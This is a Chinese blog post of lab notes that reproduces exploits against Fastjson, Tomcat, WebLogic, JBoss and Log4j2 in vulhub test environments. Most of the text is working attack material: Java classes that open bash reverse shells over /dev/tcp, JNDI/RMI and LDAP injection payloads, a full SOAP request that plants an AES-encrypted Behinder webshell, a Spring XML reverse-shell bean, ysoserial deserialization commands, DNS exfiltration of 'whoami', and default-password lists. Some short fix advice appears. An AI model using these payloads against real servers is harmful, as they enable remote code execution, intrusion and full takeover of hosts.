赞
踩
声明:本篇文章仅用于学习笔记记录,不得用于其他用途。
fastjson在解析json字符串的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
通俗理解就是:漏洞是利用fastjson autotype在处理json字符串的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类(com.sun.rowset.JdbcRowSetImpl)连接远程rmi服务器,通过rmi服务器加载恶意类执行代码。
攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的权限,对服务器造成巨大的影响
补充:rmi 是一种协议,你可以简单的理解为 一台机器执行另一台机器给的命令
Fastjson <= 1.2.24
cd vulhub-master/fastjson/1.2.24-rce
docker-compose up -d
docker-compose down
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
ln -s /opt/jdk1.8.0_20/bin/java /usr/bin/java8
ln -s /opt/jdk1.8.0_20/bin/javac /usr/bin/javac8
javac8 -version
java8 -version
w08v5g.dnslog.cn
新建一个poc.java
文件,编写恶意类 , 这里使用dnslog进行数据外带
import java.lang.Runtime; import java.lang.Process; public class poc{ static { try { Runtime rt = Runtime.getRuntime(); // String[] commands = {"touch", "/tmp/dayutest"}; String[] commands = {"/bin/bash", "-c" ,"ping user.`whoami`.w08v5g.dnslog.cn -c 4"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
使用
javac8 poc.java
搭建http服务传输恶意文件
python3 -m http.server
我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类poc.class
java8 -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.23.133:8000/#poc” 9999
补充:http地址为前面开启监听的地址
格式为什么会有一个#, 因为是固定格式
访问靶场
http://192.168.23.132:8090/
浏览器设置代理,开启bp抓包 , 发送到重发器,并修改GET–>POST
payload
{
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“rmi://192.168.23.133:9999/poc”,
“autoCommit”:true
}
}
可以看到请求已经接收到了,dnslog也回显了
只需要把之前的poc.java要执行的命令修改一下
反弹shell,exp.java文件
import java.lang.Runtime;
import java.lang.Process;
public class exp{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c" ,"bash -i >& /dev/tcp/192.168.23.133/5656 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
javac8 exp.java
开启http服务
python3 -m http.server
nc监听
nc -lvnp 5656
开启rmi
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.23.133:8000/#exp” 9999
payload
{
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“rmi://192.168.23.133:9999/exp”,
“autoCommit”:true
}
}
成功收到反弹的shell
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令
Fastjson <= 1.2.47
vulhub-master/fastjson/1.2.47-rce
docker-compose up -d
新建文件exp.java
import java.lang.Runtime;
import java.lang.Process;
public class exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c" ,"bash -i >&/dev/tcp/192.168.23.133/5656 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
javac8 exp.java
开启http服务
python3 -m http.server
nc监听
nc -lvnp 5656
开启rmi
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.23.133:8000/#exp” 9999
浏览器设置代理,开启bp抓包 , 发送到重发器,并修改GET–>POST
Content-Type: application/json
http://192.168.23.133:8090/
payload
{
“a”:{
“@type”:“java.lang.Class”,
“val”:“com.sun.rowset.JdbcRowSetImpl”
},
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“rmi://192.168.23.133:9999/exp”,
“autoCommit”:true
}
}
成功接收到请求和反弹的shell
修复建议
升级版本
推荐工具
BurpFastJsonScan-1.0.8.jar
fastjson_tool.jar
tomcat是一个开源而且免费的jsp服务器,属于轻量级应用服务器。它可以实现JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境
简单介绍一些tomcat的目录结构
|-- webapp # 站点根目录
|-- META-INF # META-INF 目录
| -- MANIFEST.MF # 配置清单文件 |-- WEB-INF # WEB-INF 目录 | |-- classes # class文件目录 | | |-- *.class # 程序需要的 class 文件 | |
– *.xml # 程序需要的 xml 文件
| |-- lib # 库文件夹
| | -- *.jar # 程序需要的 jar 包 |
– web.xml # Web应用程序的部署描述文件
|-- # 自定义的目录
|-- # 自定义的资源文件
webapp:工程发布文件夹。其实每个 war 包都可以视为 webapp 的压缩包。
META-INF:META-INF 目录用于存放工程自身相关的一些信息,元文件信息,通常由开发工具,环境自动生
成。
WEB-INF:Java web应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。
/WEB-INF/classes:存放程序所需要的所有 Java class 文件。
/WEB-INF/lib:存放程序所需要的所有 jar 文件。
/WEB-INF/web.xml:web 应用的部署配置文件。它是工程中最重要的配置文件,它描述了 servlet 和组
成应用的其它组件,以及应用初始化参数、安全管理约束等。
tomcat 这个 java中间件 , 在历史上也披露出来了很多的漏洞 , 这里我们讲几个经典的漏洞复现
tomcat put方法任意文件写入漏洞
漏洞描述
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
漏洞原理
当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产生,(需要允许put请求) , 攻击者可以利用PUT方法通过精心构造的数据包向存在漏洞的服务器里面上传jsp一句话文件,从而造成远程命令执行,getshell等。
默认端口 : 8080
影响范围
影响范围: Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat/8.5.19
环境搭建
cd vulhub-master/tomcat/CVE-2017-12615
docker-compose up -d
漏洞复现
http://192.168.23.133:8080/
首页抓包,修改为 PUT 方式提交,并写入冰蝎马 , 默认直接 PUT会失败 , 需要绕过
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/
冰蝎连接
http://192.168.23.133:8080/shell.jsp
rebeyond
漏洞修复
设置 readonly为true
漏洞原理
在tomcat8环境下默认进入后台的密码为 tomcat/tomcat ,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令。
使用工具对其进行穷举,得到密码后,也可以进行后台上传恶意代码控制服务器
影响范围
全版本
前提是人家存在弱口令
环境搭建
cd vulhub-master/tomcat/tomcat8
docker-compose up -d
漏洞复现
http://192.168.23.133:8080/manager/html
默认密码:tomcat/tomcat
补充:
其他弱口令
admin:admin
ADMIN:ADMIN
admin:j5Brn9
admin:None
admin:tomcat
cxsdk:kdsxc
j2deployer:j2deployer
ovwebusr:OvW*busr1
QCC:QLogic66
role:changethis
role1:role1
role1:tomcat
root:root
tomcat:changethis
tomcat:s3cret
tomcat:tomcat
xampp:xampp
制作war包, 将jsp木马压缩为zip,然后修改后缀为war就可以了。这里仍然使用冰蝎马
默认会在网站根目录下生成一个和war名一致的路径 , 然后马的文件名为压缩前的文件名
http://192.168.23.133:8080/shell/shell.jsp
rebeyond
漏洞修复
tomcat 远程代码执行漏洞
漏洞描述
该漏洞与之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)相关,是由于使用了JmxRemoteLifecycleListener的监听功能所导致。而在Oracle官方发布修复后,Tomcat未能及时修复更新而导致的远程代码执行。
该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。
影响范围
Apache Tomcat 9.0.0.M1 到 9.0.17
Apache Tomcat 8.5.0 到 8.5.39
Apache Tomcat 7.0.0 到 7.0.93
利用前提
1.Windows系统
2.启用CGIServlet和enableCmdLineArguments参数
3.privileged=“true”
http://ip:port/cgi-bin/hello.bat?&dir
漏洞修复
Apache Tomcat 文件包含漏洞
漏洞描述
由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
影响范围
Apache Tomcat 6
Tomcat 7系列 <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31
环境搭建
cd vulhub-master/tomcat/CVE-2020-1938
docker-compose up -d
漏复现洞
tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口,另外一个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。
poc
python2 CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 192.168.23.133
漏洞修复
**WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,**WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
漏洞描述
通过弱口令进入后台界面 , 上传部署war包 , getshell
影响范围
全版本
环境搭建
cd vulhub-master/weblogic/weak_password
docker-compose up -d
漏洞复现
默认账号密码:weblogic/Oracle@123
weblogic常用弱口令:https://cirt.net/passwords?criteria=weblogic
这里注意, 单个账号错误密码5次之后就会自动锁定。
http://192.168.23.133:7001/console/login/LoginForm.jsp
登录后台后,点击部署,点击安装,点击上传文件
weblogic
Oracle@123
上传war包,jsp木马压缩成zip,修改后缀为war,上传
访问部署好的war
http://192.168.23.133:7001/shell/shell.jsp
使用冰蝎链接
http://192.168.23.133:7001/shell/shell.jsp
rebeyond
```![在这里插入图片描述](https://img-blog.csdnimg.cn/d6acc04282d9481bb1a070d41e9f1068.png)
漏洞修复
修改弱口令
## 3、CVE-2019-2725
wls-wsat反序列化漏洞
漏洞描述
WebLogic 反序列化漏洞CVE-2017-3248和WebLogic WLS LS组件的远程代码执行漏洞CVE-2017- 10271,Oracle官方在2017年10月份发布了该漏洞的补丁,但没有公开漏洞细节,如果企业未及时安装补丁,存在被攻击的风险。对企业服务器发起了大范围远程攻击,对大量企业的服务器造成了严重威胁
影响范围
受影响版本:WebLogic 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0。
环境搭建
cd vulhub-master/weblogic/weak_password
docker-compose up -d
漏洞复现
访问以下目录中的一种,有回显如下图可以判断wls-wsat组件存在
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
http://192.168.1.159:7001/wls-wsat/CoordinatorPortType
![image-20220906152906944](https://img-blog.csdnimg.cn/img_convert/79faf16dddda81772ce6be80a14a8864.png)
在当前页面抓包之后,添加下面请求包,在标签之间分别写存放 jsp 的路径和要写入的 shell
![image-20220906153245494](https://img-blog.csdnimg.cn/img_convert/b785bf4fc81b9736d5604622e3970bd3.png)
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.159:7001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/hAccept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 1087
<soapenv:Envelope xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/”>
soapenv:Header
<work:WorkContext xmlns:work=“http://bea.com/2004/06/soap/workarea/”>
servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp
冰蝎链接shell
http://192.168.1.159:7001/bea_wls_internal/shell.jsp
rebeyond
漏洞修复
更新到最新版本,打上10271的补丁,对访问wls-wsat的资源进行访问控制 ,或者根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
Middleware/wlserver_10.3/server/lib/wls-wsat.war
以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-w sat/ 是否为404页面。
升级版本
WebLogic T3协议反序列化命令执行漏洞
漏洞描述
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它 Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启, 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
影响范围
Oracle WebLogic Server10.3.6.0.0
Oracle WebLogic Server12.1.3.0.0
Oracle WebLogic Server12.2.1.2.0
Oracle WebLogic Server12.2.1.3.0
环境搭建
cd vulhub-master/weblogic/CVE-2018-2628
docker-compose up -d
漏洞复现
直接使用利用工具
连接shell
http://192.168.23.133:7001/bea_wls_internal/wlscmd.jsp?tom=aWQ=
漏洞修复
1.及时更新补丁 ;
2.禁用T3协议 ;
3.禁止T3端口对外开放,或者限制可访问T3端口的IP来源。
4.升级版本
WebLogic文件任意上传漏洞
漏洞描述
Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 "生产模式" 下默认
不开启,所以该漏洞有一定限制。
影响版本
weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3
环境搭建
cd vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d
这里的后台密码是随机的,获取密码: docker-compose logs | grep password
weblogic
xZNU746F
访问
http://192.168.23.133:7001/console/login/LoginForm.jsp
设置web服务测试开启
点击保存 , 进入 config.do 文件进行设置,将目录设置为 ws_utc 应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要
http://192.168.23.133:7001/ws_utc/config.do
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
漏洞复现
点击安全 , 点击添加
右键审查元素 , 然后搜索16 , 找到对应时间戳
冰蝎链接
http://192.168.23.133:7001/ws_utc/css/config/keystore/1662550222461_test.jsp
rebeyond
漏洞修复
1.关闭web服务测试开启
2.升级版本
XMLDecoder反序列化漏洞
漏洞描述
CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的 xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。
影响范围
weblogic 10.x
weblogic 12.1.3
环境搭建
cd vulhub-master/weblogic/weak_password
docker-compose up -d
漏洞复现
http://192.168.23.133:7001/_async/AsyncResponseService
若出现以下显示,则说明存在漏洞
当前页面抓包 , 修改请求包 , 写入shell
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.23.133:7001
Content-Length: 1261
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string><void method="println"><string><![CDATA[
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>
</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
使用冰蝎链接
http://192.168.23.133:7001/_async/webshell.jsp
rebeyond
漏洞修复
1.禁用bea_wls9_async_response组件;
2.删除wls9_async_response的war包并重启 ;
3.禁止访问 /_async/* 路径。
WebLogic远程代码执行漏洞
CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机
10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
14.1.1.0
cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d
访问管理控制台
http://192.168.23.133:7001/console/login/LoginForm.jsp
使用以下url绕过登录认证
http://192.168.23.133:7001/console/css/%252e%252e%252fconsole.portal
此时,还没有上传 webshell 的权限
第二个漏洞,CVE-2020-14883,有两种利用方式,一种是通过
com.tangosol.coherence.mvel2.sh.ShellSession
,另一种是通过
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
。
访问以下 URL 以链接 2 个漏洞并执行以下命令com.tangosol.coherence.mvel2.sh.ShellSession
http://192.168.23.133:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
我们进入到docker中可以看到命令已经成功运行了
这种利用方法只能在 Weblogic 12.2.1 及以上版本中使用,因为 10.3.6 没有 class
com.tangosol.coherence.mvel2.sh.ShellSession
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
是一种更常见的漏洞利用,首次在 CVE-2019-2725 中引入,可用于任何 Weblogic 版本。
要利用FileSystemXmlApplicationContext
,您需要制作一个精心制作的 XML 文件并将其提供到 Weblogic 可以
访问的服务器上,例如http://192.168.23.133:8000/rce.xml
, 因为我们的环境在docker中 , 使用物理机存在恶意的
xml文件 , 是一定能够访问的
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[/bin/bash -i >& /dev/tcp/192.168.23.133/5656 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后通过以下 URL,Weblogic 将加载此 XML 并执行其中的命令
http://192.168.23.133:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.23.133:8000/rce.xml")
成功接收到反弹的shell
该漏洞利用的缺点是,它要求 Weblogic 服务器能够访问恶意 XML。
给你一个网站你怎么判断是否使用了weblogic
1. 7001
2. 浏览器插件
3.报错页面 Error 404--Not Found
4.默认管理页面路由 /console/login/LoginForm.jsp
......
JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。
jBoss JMXInvokerServlet 反序列化漏洞
漏洞介绍
这是经典的JBoss反序列化漏洞,JBoss在`/invoker/JMXInvokerServlet`请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的 Gadget 执行任意代码
影响范围
Red Hat JBoss A-MQ 6.x版本;
BPM Suite (BPMS) 6.x版本;
BRMS 6.x版本和5.x版本;
Data Grid (JDG) 6.x版本;
Data Virtualization (JDV) 6.x版本和5.x版本;
Enterprise Application Platform 6.x版本,5.x版本和4.3.x版本;Fuse 6.x版本;Fuse Service Works (FSW) 6.x版本;Operations Network (JBoss ON) 3.x版本;Portal 6.x版本;SOA Platform (SOA-P) 5.x版本;Web Server (JWS) 3.x版本;Red Hat OpenShift/xPAAS 3.x版本;Red Hat Subscription Asset Manager 1.3版本。
环境搭建
cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d
访问主页
http://192.168.23.133:8080
漏洞复现
poc , 访问地址
http://192.168.23.133:8080/invoker/JMXInvokerServlet
返回如下,说明接口开放,此接口存在反序列化漏洞
下载 ysoserial 工具进行漏洞利用
https://github.com/frohoff/ysoserial
kali执行下面命令(echo后面那一串,自行用base64解码后修改再编码)
java8 -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzLjEzMy82NjY2IDA+JjE=}|{base64,-d}|{bash,-i} " >exp.ser
# 更改反弹shell的base64编码内容
设置监听的端口
nc -lvnp 6666
执行命令
curl http://192.168.23.133:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
成功收到反弹的shell
漏洞修复
升级版本
JBossMQ JMS 反序列化漏洞
漏洞介绍
`JBoss AS 4.x`及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码执行
影响范围
影响范围:JBoss 4.x 以及之前的所有版本
环境搭建
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
漏洞复现
访问漏洞地址
http://192.168.23.133:8080/jbossmq-httpil/HTTPServerILServlet
出现该页面存在漏洞!
这里直接利用 JavaDeserH2HC 生成利用文件
javac8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.23.133:8888
# 接收反弹的ip和port
监听8888端口
nc -lvnp 8888
利用
操作命令
curl http://192.168.23.133:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功获得反弹shell!
漏洞修复
升级至最新版
JBoss 5.x/6.x 反序列化漏洞
漏洞描述
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞
影响范围
JBoss 5.x/6.x
环境搭建
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
漏洞复现
访问漏洞页面
http://192.168.23.133:8080/
验证是否存在漏洞 , 访问
http://192.168.23.133:8080/invoker/readonly
返回500,说明页面存在,此页面存在反序列化漏洞
使用之前CVE-2015-7501的ser文件 , 利用即可
监听端口
nc -lvnp 8888
利用…Map.ser
curl http://192.168.23.133:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功接收到反弹的shell
漏洞描述
Administration Console管理页面存在弱口令,`admin:admin`,登陆后台上传war包 , getshell
影响版本
全版本
环境搭建
因为这里用的环境是CVE-2017-12149的靶机
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
密码文件
/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties
admin:vulhub
漏洞复现
http://192.168.23.133:8080/admin-console/login.seam?conversationId=4
账号密码
admin
vulhub
点击web应用
上传war木马 , 点击 Add a new resource,上传war包 , 使用我们之前制作的 shell.war , 然后点击继续
成功上传shell.war , 点击创建的war包进入下一层,若状态为stop,点击Start按钮(默认都是start状态,不需要点击Start按钮)
使用冰蝎链接
http://192.168.23.133:8080/shell/shell.jsp
rebeyond
修复方案
使用强口令
漏洞描述
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到 jmx控制台,并在其中执行任何功能。
影响范围
Jboss4.x以下
环境搭建
使用 CVE-2017-7504 环境
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
漏洞复现
访问
http://192.168.23.133:8080/
这里我们使用的复现环境是不存在的 , 所以需要密码
admin
admin
然后找到 jboss.deployment(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过 url 的方式远程部署)
找到页面中的 void addURL() 选项来远程加载war包来部署
制作war包 , 这里用之前制作好的 test.war , 然后用 python 开启web服务
python3 -m http.server
填写war包远程地址
http://192.168.1.112:8000/test.war
然后跳转以下页面
然后冰蝎链接
http://192.168.23.133:8080/shell/shell.jsp
rebeyond
漏洞描述
JMX Console默认存在未授权访问,直接点击JBoss主页中的 JMX Console 链接进入JMX Console页面 , 通过部署war包 , getshell
影响版本
Jboss6.x以下
环境搭建
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
漏洞复现
http://192.168.23.133:8080/jmx-console/
这里使用的环境是 CVE-2017-12149 , 所以需要输入密码
admin
vulhub
本地搭建部署点
在JMX Console页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer,如下
进入service=MainDeployer页面之后,找到methodIndex为17或19的deploy 填写远程war包地址进行远程部署
搭建远程部署 , 部署远程war包地址
然后输入Invoke
http://192.168.1.112:8000/test.war
点击Invoke
使用冰蝎链接
http://192.168.1.159:8080/test/test.jsp
rebeyond
Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。
log4j2远程代码执行
漏洞描述
Apache Log4j2 中存在 JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行。由于 Apache Log4j2 的某些函数具有递归分析函数,因此攻击者可以直接构造恶意请求来触发远程代码执行漏洞。
${jndi:ldap://ibc23d.dnslog.cn/test}
影响版本
2.0 <= Apache log4j2 <= 2.14.1
环境搭建
cd vulhub-master/log4j/CVE-2021-44228
docker-compose up -d
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。具体文件 , log4j-api, log4j-core 两个jar包
漏洞复现
访问
http://192.168.23.133:8983
直接访问
http://192.168.23.133:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.fivlgu.dnslog.cn}
dnslog
收到dns请求 , 说明存在漏洞
漏洞利用 使用 JNDI注入工具getshell
在kali上运行
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.23.133
开启监听
nc -lvvp 5656
构造以下命令执行
http://192.168.23.133:8983/solr/admin/cores?action=${jndi:ldap://192.168.23.133:1389/Basic/ReverseShell/192.168.23.133/5656}
成功反弹shell
漏洞修复
升级log4j2版本
安全版本
Apache log4j-2.15.0-rc2
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。